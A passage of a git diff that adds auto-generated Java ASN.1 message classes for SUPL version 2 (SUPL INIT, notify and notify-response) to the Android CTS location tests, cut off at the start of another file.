+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.PosMethod;
+import android.location.cts.asn1.supl2.ulp_components.QoP;
+import android.location.cts.asn1.supl2.ulp_components.SLPAddress;
+import android.location.cts.asn1.supl2.ulp_version_2_message_extensions.Ver2_SUPL_INIT_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SUPLINIT extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SUPLINIT
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SUPLINIT() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SUPLINIT;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SUPLINIT != null) {
+ return ImmutableList.of(TAG_SUPLINIT);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SUPLINIT from encoded stream.
+ */
+ public static SUPLINIT fromPerUnaligned(byte[] encodedBytes) {
+ SUPLINIT result = new SUPLINIT();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SUPLINIT from encoded stream.
+ */
+ public static SUPLINIT fromPerAligned(byte[] encodedBytes) {
+ SUPLINIT result = new SUPLINIT();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PosMethod posMethod_;
+ public PosMethod getPosMethod() {
+ return posMethod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosMethod
+ */
+ public void setPosMethod(Asn1Object value) {
+ this.posMethod_ = (PosMethod) value;
+ }
+ public PosMethod setPosMethodToNewInstance() {
+ posMethod_ = new PosMethod();
+ return posMethod_;
+ }
+
+ private Notification notification_;
+ public Notification getNotification() {
+ return notification_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Notification
+ */
+ public void setNotification(Asn1Object value) {
+ this.notification_ = (Notification) value;
+ }
+ public Notification setNotificationToNewInstance() {
+ notification_ = new Notification();
+ return notification_;
+ }
+
+ private SLPAddress sLPAddress_;
+ public SLPAddress getSLPAddress() {
+ return sLPAddress_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SLPAddress
+ */
+ public void setSLPAddress(Asn1Object value) {
+ this.sLPAddress_ = (SLPAddress) value;
+ }
+ public SLPAddress setSLPAddressToNewInstance() {
+ sLPAddress_ = new SLPAddress();
+ return sLPAddress_;
+ }
+
+ private QoP qoP_;
+ public QoP getQoP() {
+ return qoP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a QoP
+ */
+ public void setQoP(Asn1Object value) {
+ this.qoP_ = (QoP) value;
+ }
+ public QoP setQoPToNewInstance() {
+ qoP_ = new QoP();
+ return qoP_;
+ }
+
+ private SLPMode sLPMode_;
+ public SLPMode getSLPMode() {
+ return sLPMode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SLPMode
+ */
+ public void setSLPMode(Asn1Object value) {
+ this.sLPMode_ = (SLPMode) value;
+ }
+ public SLPMode setSLPModeToNewInstance() {
+ sLPMode_ = new SLPMode();
+ return sLPMode_;
+ }
+
+ private MAC mAC_;
+ public MAC getMAC() {
+ return mAC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MAC
+ */
+ public void setMAC(Asn1Object value) {
+ this.mAC_ = (MAC) value;
+ }
+ public MAC setMACToNewInstance() {
+ mAC_ = new MAC();
+ return mAC_;
+ }
+
+ private KeyIdentity keyIdentity_;
+ public KeyIdentity getKeyIdentity() {
+ return keyIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a KeyIdentity
+ */
+ public void setKeyIdentity(Asn1Object value) {
+ this.keyIdentity_ = (KeyIdentity) value;
+ }
+ public KeyIdentity setKeyIdentityToNewInstance() {
+ keyIdentity_ = new KeyIdentity();
+ return keyIdentity_;
+ }
+
+
+
+ private Ver2_SUPL_INIT_extension extensionVer2_SUPL_INIT_extension;
+ public Ver2_SUPL_INIT_extension getExtensionVer2_SUPL_INIT_extension() {
+ return extensionVer2_SUPL_INIT_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SUPL_INIT_extension
+ */
+ public void setExtensionVer2_SUPL_INIT_extension(Asn1Object value) {
+ extensionVer2_SUPL_INIT_extension = (Ver2_SUPL_INIT_extension) value;
+ }
+ public void setExtensionVer2_SUPL_INIT_extensionToNewInstance() {
+ extensionVer2_SUPL_INIT_extension = new Ver2_SUPL_INIT_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosMethod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosMethod();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosMethodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosMethod.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posMethod : "
+ + getPosMethod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getNotification() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNotification();
+ }
+
+ @Override public void setToNewInstance() {
+ setNotificationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Notification.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "notification : "
+ + getNotification().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSLPAddress() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSLPAddress();
+ }
+
+ @Override public void setToNewInstance() {
+ setSLPAddressToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SLPAddress.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sLPAddress : "
+ + getSLPAddress().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getQoP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getQoP();
+ }
+
+ @Override public void setToNewInstance() {
+ setQoPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? QoP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "qoP : "
+ + getQoP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getSLPMode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSLPMode();
+ }
+
+ @Override public void setToNewInstance() {
+ setSLPModeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SLPMode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sLPMode : "
+ + getSLPMode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getMAC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMAC();
+ }
+
+ @Override public void setToNewInstance() {
+ setMACToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MAC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "mAC : "
+ + getMAC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeyIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeyIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeyIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? KeyIdentity.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keyIdentity : "
+ + getKeyIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_SUPL_INIT_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_SUPL_INIT_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_SUPL_INIT_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_SUPL_INIT_extension : "
+ + getExtensionVer2_SUPL_INIT_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SUPLINIT = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java
new file mode 100755
index 0000000..c7829f0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_notify;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.supl_init.Notification;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPLNOTIFY extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPLNOTIFY
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPLNOTIFY() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPLNOTIFY;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPLNOTIFY != null) {
+ return ImmutableList.of(TAG_Ver2_SUPLNOTIFY);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPLNOTIFY from encoded stream.
+ */
+ public static Ver2_SUPLNOTIFY fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPLNOTIFY result = new Ver2_SUPLNOTIFY();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPLNOTIFY from encoded stream.
+ */
+ public static Ver2_SUPLNOTIFY fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPLNOTIFY result = new Ver2_SUPLNOTIFY();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Notification notification_;
+ public Notification getNotification() {
+ return notification_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Notification
+ */
+ public void setNotification(Asn1Object value) {
+ this.notification_ = (Notification) value;
+ }
+ public Notification setNotificationToNewInstance() {
+ notification_ = new Notification();
+ return notification_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNotification() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNotification();
+ }
+
+ @Override public void setToNewInstance() {
+ setNotificationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Notification.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "notification : "
+ + getNotification().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPLNOTIFY = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/NotificationResponse.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/NotificationResponse.java
new file mode 100755
index 0000000..49c1aaa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/NotificationResponse.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_notify_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class NotificationResponse extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ allowed(0),
+ notAllowed(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_NotificationResponse
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NotificationResponse() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NotificationResponse;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NotificationResponse != null) {
+ return ImmutableList.of(TAG_NotificationResponse);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new NotificationResponse from encoded stream.
+ */
+ public static NotificationResponse fromPerUnaligned(byte[] encodedBytes) {
+ NotificationResponse result = new NotificationResponse();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NotificationResponse from encoded stream.
+ */
+ public static NotificationResponse fromPerAligned(byte[] encodedBytes) {
+ NotificationResponse result = new NotificationResponse();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "NotificationResponse = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java
new file mode 100755
index 0000000..8a49f5a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_notify_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPLNOTIFYRESPONSE extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPLNOTIFYRESPONSE
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPLNOTIFYRESPONSE() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPLNOTIFYRESPONSE;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPLNOTIFYRESPONSE != null) {
+ return ImmutableList.of(TAG_Ver2_SUPLNOTIFYRESPONSE);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPLNOTIFYRESPONSE from encoded stream.
+ */
+ public static Ver2_SUPLNOTIFYRESPONSE fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPLNOTIFYRESPONSE result = new Ver2_SUPLNOTIFYRESPONSE();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPLNOTIFYRESPONSE from encoded stream.
+ */
+ public static Ver2_SUPLNOTIFYRESPONSE fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPLNOTIFYRESPONSE result = new Ver2_SUPLNOTIFYRESPONSE();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NotificationResponse notificationResponse_;
+ public NotificationResponse getNotificationResponse() {
+ return notificationResponse_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NotificationResponse
+ */
+ public void setNotificationResponse(Asn1Object value) {
+ this.notificationResponse_ = (NotificationResponse) value;
+ }
+ public NotificationResponse setNotificationResponseToNewInstance() {
+ notificationResponse_ = new NotificationResponse();
+ return notificationResponse_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNotificationResponse() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNotificationResponse();
+ }
+
+ @Override public void setToNewInstance() {
+ setNotificationResponseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NotificationResponse.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "notificationResponse : "
+ + getNotificationResponse().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPLNOTIFYRESPONSE = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/PosPayLoad.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/PosPayLoad.java
new file mode 100755
index 0000000..8324507
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/PosPayLoad.java
@@ -0,0 +1,683 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
